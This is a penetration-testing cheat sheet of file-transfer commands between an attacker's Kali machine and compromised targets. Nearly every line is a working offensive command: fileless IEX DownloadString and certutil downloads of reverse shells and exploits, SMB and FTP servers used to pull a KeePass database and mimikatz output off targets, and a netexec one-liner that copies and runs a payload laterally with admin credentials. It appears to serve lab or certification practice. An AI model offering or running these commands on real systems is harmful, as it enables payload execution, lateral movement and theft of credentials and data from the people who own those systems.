$# IWR
$powershell iwr -uri http://192.168.45.154/rev.exe -outfile rev.exe
$ 
$# Certutil
$certutil -f -urlcache -split http://172.16.1.1/exploit.exe C:\tmp\exploit.exe
$certutil -urlcache -split -f http://<kali-ip>/<file> -o C:\<file>
$ 
$# Wget / curl
$wget http://192.168.45.154/PrintSpoofer64.exe
$curl http://<kali-ip>/<file> -o <file>
$ 
$# DownloadFile
$(New-Object Net.WebClient).DownloadFile('http://<kali-ip>/shell.exe','C:\Users\Public\shell.exe')
$ 
$# Fileless (runs in memory)
$IEX (New-Object System.Net.WebClient).DownloadString('http://<kali-ip>/payload.ps1')
$ 
$# SMB share from Kali
$impacket-smbserver Share /var/www/html/ -smb2support
$copy \\<kali-ip>\share\shell.exe C:\Users\Public\shell.exe
$ 
$# FTP from Kali
$python3 -m pyftpdlib -p 21
$ftp <kali-ip>
$get <file>

$# FTP server on Kali (writable)
$python3 -m pyftpdlib -w
$# on target: ftp <kali-ip>, login anonymous:anonymous, put <file>
$ 
$# SMB server on Kali
$impacket-smbserver test . -smb2support -username jip -password jip
$# on target:
$copy-item C:\Database.kdbx \\<kali-ip>\test\Database.kdbx
$net use m: \\<kali-ip>\test /user:jip jip
$copy mimikatz.log m:\
$ 
$# RDP clipboard/drive transfer
$xfreerdp /u:<user> /p:<pass> /v:<target-ip> +clipboard +drive:share,/tmp
$ 
$# Powercat
$python3 -m http.server 80
$powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<kali-ip>/powercat.ps1');powercat -l -p 4444 -i C:\Users\test\FileToTransfer"
$wget http://<windows-ip>:4444/FileToTransfer
$ 
$# Windows -> Windows lateral copy via netexec
$netexec smb <ip2> -u Administrator -p '<pass>' --local-auth -x "net use \\<ip1>\setup /user:<domain>\<svc> <pass> && copy \\<ip1>\setup\payload.exe C:\Windows\temp\payload.exe && C:\Windows\temp\payload.exe"
$ 
$# Evil-WinRM
$download "C:\Path\to\file"
$upload <local-file>

$wget <LHOST>/<file>
$curl http://<LHOST>/<file> -o <output-file>
$ 
$# Secure (SSL)
$ncat -nvlp <port> --ssl > <out-file>     # on target
$ncat -nv <RHOST> <RPORT> --ssl < <file>  # on Kali
$ 
$# Python
$python -c "from urllib import urlretrieve; urlretrieve('http://192.168.x.x/chisel', '/opt/chisel')"